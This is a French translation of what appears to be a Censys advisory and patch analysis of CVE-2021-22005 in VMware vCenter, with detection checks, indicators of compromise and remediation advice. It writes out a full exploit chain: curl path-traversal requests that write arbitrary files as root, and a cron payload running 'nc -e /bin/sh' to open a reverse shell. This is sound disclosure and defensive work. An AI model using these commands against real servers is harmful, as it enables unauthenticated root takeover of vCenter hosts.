Mise à jour 2 (2021-09-28)
@wvuuuuuuuuu a révélé comment obtenir l'exécution en utilisant ce point de terminaison de l'API. La méthode nécessite simplement d'écrire dans /etc/cron.d. Les PoCs RCE /dataapp et /hyper/send handler sont maintenant entièrement publics.
Mise à jour 1 (2021-09-23, peu après la publication)
@testanull sur Twitter affirme que le PIEC n'est pas une condition d'exécution, ce qui implique qu'il y a de multiples vulnérabilités (points de faiblesse/corrections indépendantes) qui font partie de CVE-2021-22005.
Vue d'ensemble
Le 21 septembre, VMware a annoncé une nouvelle vulnérabilité CVSS 9.8, CVE-2021-22005, dans le cadre de VMSA-2021-0020 - une vulnérabilité critique d'exécution à distance sans authentification dans le service d'analyse de vCenter que les administrateurs doivent corriger immédiatement.
Note : Cet article a été mis à jour le 2021-09-28 pour inclure les détails menant à l'exécution de code à distance après la disponibilité publique d'un exploit menant à l'exécution pour les deux points de terminaison API affectés par CVE-2021-22005. Auparavant, nous n'avions pas inclus ces détails pour permettre aux praticiens de disposer d'un délai supplémentaire pour appliquer les correctifs.
Faits marquants :
- Plusieurs entités semblent rechercher des instances vulnérables en utilisant la solution de contournement fournie par VMware.
- La cause première est liée à un mauvais traitement des paramètres de requête fournis par l'utilisateur dans le service d'analyse CEIP (Customer Experience Improvement Program) de VMware vCenter. Le CEIP est "opt-out" par défaut.
- Les versions 6.7 et 7.0 de VMware vCenter sont concernées.
- Il est confirmé que les déploiements basés sur Linux sont exploitables avec exécution de code, tandis que les hôtes basés sur Windows sont probablement exploitables (l'exécution étant plus difficile).
- L'exploitation nécessite deux requêtes web non authentifiées.
- À l'aide d'une simple recherche, Censys a déterminé qu'un peu plus de 7 000 services sur l'internet public s'identifient comme VMWare vCenter. 3 264 hôtes faisant face à l'internet sont potentiellement vulnérables, 436 sont corrigés et 1 369 sont soit sans objet (version non affectée), soit dotés d'une solution de contournement.
Emplacement de tous les hôtes VMware vCenter accessibles via Internet
Analyse technique
Une vulnérabilité CVSS 9.8 implique généralement une exécution à distance peu complexe, comme le montre cette visualisation du calculateur CVSSv3 de first.org :
Il s'est avéré que VMware a publié une avance significative sur l'exploit grâce à sa solution de contournement, documentée dans la solution de contournement KB pour CVE-2021-22005 :
14) Pour confirmer que la solution de contournement a pris effet, vous pouvez la tester en exécutant la commande suivante
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type : application/json" -v 2>&1 | grep HTTP
Cela nous indique que le point de terminaison spécifique de l'API qui est vulnérable est le suivant /analytics/telemetry/ph/api/hyper/send
. Il est important de noter que le port de service ci-dessus (15080) est le port interne du service d'analyse, bien que le port web vCenter (443) transmette directement les requêtes à ce service. Vous pouvez simplement envoyer la même requête au point d'extrémité https pour obtenir l'exécution. Avec cette astuce de VMware, analysons ce qui a été corrigé.
Découvrir la cause première
Pour voir les différences entre une version vulnérable du logiciel et une version non vulnérable, nous avons téléchargé deux ISO à partir du site web de VMWare. Selon le workaround KB, la version corrigée a été publiée par VMWare dans la version 18356314 (7.0U2c). Les deux ISO suivants ont donc été récupérés :
- Version vulnérable : v17958471(7.0U2b) du 25 mai 2021
- Version corrigée : v18455184(7.0U2d) du 21 septembre 2021
Ces fichiers ISO contiennent de nombreux fichiers de bibliothèque. Pour ne pas ennuyer le lecteur, nous allons passer outre et noter que les fichiers corrigés intéressants se trouvent dans les fichiers RPM pour le service d'analyse VMware :
- VMware-analytics-7.0.2.00400-9102561.x86_64.rpm (corrigé, RPM provenant de 18455184)
- VMware-analytics-7.0.2.00000-8630354.x86_64.rpm (non corrigé, RPM provenant de 17958471)
Avec ces éléments en main, nous pouvons extraire le contenu du RPM :
rpm2cpio <RPMFILE> | cpio -idmv
Ce qui produira une structure de système de fichiers dans le répertoire actuel :
$ ls
etc usr var
$ find etc
etc
etc/vmware
etc/vmware/appliance
etc/vmware/appliance/firewall
etc/vmware/appliance/firewall/vmware-analytics
etc/vmware/vm-support
etc/vmware/vm-support/analytics-noarch.mfx
etc/vmware/backup
etc/vmware/backup/manifests
etc/vmware/backup/manifests/analytics.json
...
$ find usr
find usr
usr
usr/lib
usr/lib/vmware-analytics
usr/lib/vmware-analytics/lib
usr/lib/vmware-analytics/lib/dataapp.txt
usr/lib/vmware-analytics/lib/vimVersions-7.0.2.jar
usr/lib/vmware-analytics/lib/cls-vmodl2-bindings-7.0.2.jar
usr/lib/vmware-analytics/lib/jcabi-log-0.17.jar
usr/lib/vmware-analytics/lib/analytics-push-telemetry-vcenter-7.0.2.jar
usr/lib/vmware-analytics/lib/analytics-common-vapi-7.0.2.jar
...
Nous pouvons maintenant extraire le contenu des fichiers de classe dans /tmp en utilisant unzip, et comparer les versions corrigées et non corrigées, en recherchant des références à "hyper" :
grep -lr hyper /tmp/unpatched/
/tmp/unpatched/com/vmware/vim/binding/vim/host/CpuSchedulerSystem.class
/tmp/unpatched/com/vmware/vim/binding/vim/host/ConfigInfo.class
/tmp/unpatched/com/vmware/vim/binding/vim/vm/device/VirtualVMCIDevice$Protocol.class
/tmp/unpatched/com/vmware/analytics/vapi/TelemetryDefinitions.class
/tmp/unpatched/com/vmware/ph/upload/rest/PhRestClientImpl.class
/tmp/unpatched/com/vmware/ph/phservice/push/telemetry/server/AsyncTelemetryController.class
/tmp/unpatched/com/vmware/ph/phservice/common/ph/RtsUriFactory.class
Une expérience en matière de développement (en particulier avec Java et Spring) sera d'une grande utilité, car les points d'extrémité des API sont généralement gérés par des "contrôleurs" dans les architectures basées sur le modèle-vue-contrôleur (MVC). La classe la plus intéressante que nous pouvons voir ici est AsyncTelemetryController
. Diffusion de la sortie du CFR sur les fichiers de classe Java, nous avons pu déterminer que la fonction suivante a été modifiée de :
private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
return new Callable<ResponseEntity<Void>>(){
@Override
public ResponseEntity<Void> call() throws Exception {
if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
}
telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
return new ResponseEntity(HttpStatus.CREATED);
}
};
}
Aux suivants :
private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
final TelemetryRequest telemetryRequest = AsyncTelemetryController.createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
return new Callable<ResponseEntity<Void>>(){
@Override
public ResponseEntity<Void> call() throws Exception {
if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) {
return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
}
if (!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) || !AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)) {
_log.debug((Object)String.format("Incorrect collectorId '%s' or collectorInstanceId '%s'. Returning 400.", LogUtil.sanitiseForLog(collectorId), LogUtil.sanitiseForLog(collectorInstanceId)));
return new ResponseEntity(HttpStatus.BAD_REQUEST);
}
telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[]{telemetryRequest});
return new ResponseEntity(HttpStatus.CREATED);
}
};
}
Cette fonction est exécutée lorsqu'une requête HTTP POST est envoyée à l'un des deux sites suivants /ph-stg/api/hyper/send
ou /ph/api/hyper/send
. En plus de la original le contrôle de limitation du taux (isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)
), nous pouvons voir deux nouvelles conditions :
!IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId)
- Une simple vérification basée sur une expression rationnelle (
[\w-]
) pour s'assurer que le format de l'identifiant de l'instance du collecteur (le paramètre de la requête _i) est valide et ne contient pas de caractères non valides.
!AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId)
- Assurez-vous que l'identifiant du collecteur entrant se trouve dans le fichier
collectorIdWhitelist
de la gamme.
Afin d'amorcer la nouvelle collectorIdWhitelist
la nouvelle propriété suivante a été ajoutée au tableau /etc/vmware-analytics/phservice.properties
:
ph.collectorId.whitelist=vsphere.wcp.tp_1_0_0, SVC.1_0, SVC.1_0_U1, vsphere.gcm.1_0_0, vCSA.7_0, \
vCSA.7_0_1, vc_vcls.7_0_U2, vc_vlcm_dnp_7.0, vvts.7_0, vSphere.vapi.6_7, vSphere.vpxd.vmprov.6_7, \
vcenter-all.vpxd.drs.7_0u1, vcenter-all.vpxd.hdcs.7_0u2, h5c.6_8, vcenter_postgres, \
vc_lcm_api_stage2.6_7, vCSACLI.7_0_2, multisddc.1, hlm, hlm_gateway, vlcm.7_0_2, vlcm.7_0_3, testPush.1_0
Enquêter sur l'exploitation
La compréhension des nouvelles conditions d'AsyncTelemetryController rend le développement de vulnérabilités trivial. En effet, vous demandez au service d'analyse non authentifié de VMware (qui collecte des données de télémétrie à partir d'autres composants de vCenter pour les transmettre au cloud de VMware) d'écrire un fichier sur le disque dans un chemin de votre choix. Lorsque des données sont envoyées au service de télémétrie, elles sont d'abord écrites dans un fichier journal à l'aide de la commande log4j2
dans l'un ou l'autre /var/log/vmware/analytics/stage
(si l'on utilise le /ph-stg
), ou /var/log/vmware/analytics/prod
(si l'on utilise le /ph
).
Nous pouvons voir comment le nom de fichier est généré en examinant la classe LogTelemetryService :
@Override
public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
ThreadContext.put((String)CTX_LOG_TELEMETRY_DIR_PATH, (String)this._logDirPath.normalize().toString());
ThreadContext.put((String)CTX_LOG_TELEMETRY_FILE_NAME, (String)LogTelemetryUtil.getLogFileNamePattern(collectorId, collectorInstanceId));
for (TelemetryRequest telemetryRequest : telemetryRequests) {
this._logger.info(LogTelemetryService.serializeToLogMessage(telemetryRequest));
}
return new ResultFuture<Boolean>(Boolean.TRUE);
}
L'appel à la sérialisation dans processTelemetry
est inintéressant pour une exploitation secondaire (ce qui signifie qu'il n'y a aucune chance d'exécution de code à l'aide de gadgets de désérialisation), car il écrit simplement le contenu du corps POST capturé dans la requête directement dans le fichier.
Cependant, l'utilisateur contrôle le nom de fichier que log4j2 utilise finalement pour écrire le fichier. Ainsi, des valeurs soigneusement élaborées dans notre _i
peut entraîner l'écriture de fichiers dans un chemin arbitraire sur le disque. Dans nos tests, Le PIEC (Programme d'amélioration de l'expérience client) doit être activé pour que cet exploit fonctionne.Le code de télémétrie vérifie l'état de l'inscription au service PIEC et échoue s'il est désactivé.
Sans plus attendre, l'exploit nécessite deux étapes :
Tout d'abord, le "collecteur" de télémétrie doit être créé à l'aide de la fonction /
comme préfixe à _i
afin de créer un répertoire sous /var/log/vmware/analytics/prod
(création d'un fichier au nom aléatoire tel que /var/log/vmware/analytics/prod/_c_i/1234.json
) :
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" -H Content-Type: -d ""
Ce faisant, le serveur créera un répertoire sous /var/log/vmware/analytics/prod/
avec le format trouvé dans getLogFileNamePattern
. Par exemple, _c=&_i=/stuff
se résoudra à : /var/log/vmware/analytics/prod/_c_i/stuff.json
et si le _c_i/
n'existe pas dans le sous-répertoire /var/log/vmware/analytics/prod/
il sera créé à ce moment-là.
Ensuite, nous envoyons la charge utile, qui écrira un fichier json arbitraire n'importe où sur le système de fichiers en tant qu'utilisateur root. Tout répertoire parent dans le chemin sera également créé s'il n'existe pas.
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H Content-Type: -d 'contents here will be directly written to /tmp/foo.json as root'
En reprenant l'exemple de notre première demande, le serveur verra ceci comme : /var/log/vmware/analytics/prod/_c_i/../../../../../../tmp/foo.json
où il écrira le contenu de la demande. Le contenu du corps de la requête (indiqué par -d) sera écrit directement dans le fichier, tel quel (il n'est pas nécessaire que le contenu soit du JSON)..
Une fois le fichier écrit, la dernière étape consiste à trouver un mécanisme externe qui exécutera les données contenues dans le fichier. Ce n'est pas difficile, car il existe des emplacements très connus dans les systèmes d'exploitation basés sur Linux qui liront un fichier avec n'importe quelle extension et exécuteront son contenu. Censys a confirmé l'exécution, mais ne publiera pas cette dernière étape afin de donner aux défenseurs un peu plus de temps pour mettre en place des correctifs. Crédit à wvu de Rapid7 pour la co-découverte des détails de cette question.
Mise à jour (2021-09-28) : Depuis qu'un chemin vers le RCE a été entièrement divulgué sur Twitter, nous avons décidé de mettre à jour cet article avec ces instructions. L'exécution en tant que root peut être obtenue en écrivant dans la crontab (/etc/cron.d) :
curl -kv "https://$VCENTER_HOST/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh $RHOST $RPORT"
Identifier la vulnérabilité
La solution de contournement de VMware mentionne une requête cURL (également dans leur script d'atténuation python) qui peut être envoyée pour identifier les hôtes vulnérables :
curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP
Cependant, cette requête créera un fichier dans le répertoire analytics/prod log. En outre, ce point d'accès ne détermine pas si le PIEC est activé. Si le PIEC est désactivé, lors de nos tests, les chemins de code vulnérables sont abandonnés (avec un 201/Created). Nous pensons que la désactivation du PIEC après son activation n'élimine pas entièrement la vulnérabilité, car le code analytique de VMware contient des mécanismes de mise en cache qui peuvent ne pas être vidés.
Une requête cURL plus pertinente peut être effectuée sur le point de terminaison /analytics/telemetry/ph/api/level, qui ne créera pas de fichier :
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
- Si le serveur répond par 200/OK et que le corps de la réponse contient autre chose que "OFF" (comme "FULL"), il est vulnérable.
- S'il répond par 200/OK et que le contenu du corps est "OFF", il est probable qu' il n'est pas vulnérable et qu'il n'est pas non plus corrigé si aucune solution de contournement n'est appliquée.
- S'il répond par 400/Bad Request, il est corrigé. Ce contrôle utilise le fait que les instances corrigées vérifieront l'identifiant du collecteur (_c) par rapport à une liste d'identifiants de collecteurs connus/acceptés.
- S'il répond par 404, c'est qu'il ne s'applique pas ou que la solution de contournement a été appliquée. La solution de contournement désactive les points d'extrémité de l'API concernés.
- Tout autre code d'état implique probablement qu'il n'est pas applicable.
Identifier les signes de compromission
L'identification d'un compromis est simple. Recherchez les répertoires créés sous le nom /var/log/vmware/analytics/prod
ou /var/log/vmware/analytics/stage
. S'il y a des sous-répertoires, il est probable qu'un acteur a exécuté un exploit contre votre hôte. En outre, vérifiez la présence de fichiers .json ou .properties dans /etc/cron.d (ou rc.local). Cela suppose que l'acteur n'a pas nettoyé ses actions en supprimant les fichiers/répertoires après l'exécution.
Que dois-je faire maintenant ?
Cette vulnérabilité, comme le problème "updateova" d'il y a quelques mois, est assez critique. Les organisations devraient corriger leurs instances vCenter dès qu'elles le peuvent. Le correctif semble résoudre le problème avec succès.
- Vérifiez si vous êtes affecté par une simple requête cURL. Une réponse 200/OK avec autre chose que "OFF" dans le corps de la réponse implique une vulnérabilité (cela signifie que le PIEC est activé). et la solution de contournement / le correctif n'ont pas été appliqués) :
curl -k -v “https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test”
- Les entreprises doivent appliquer les correctifs pour leur version de vCenter décrits dans l'avis VMSA-2021-0020 de VMware : https://www.vmware.com/security/advisories/VMSA-2021-0020.html.
- Censys Les clients peuvent utiliser leur inventaire d'hôtes dans notre plateforme de gestion de la surface d'attaque pour identifier automatiquement les hôtes orientés vers Internet, ou Censys Search pour trouver vCenter dans des plages d'IP connues, en fonction du CPE(services.software.uniform_resource_identifier :`cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*`)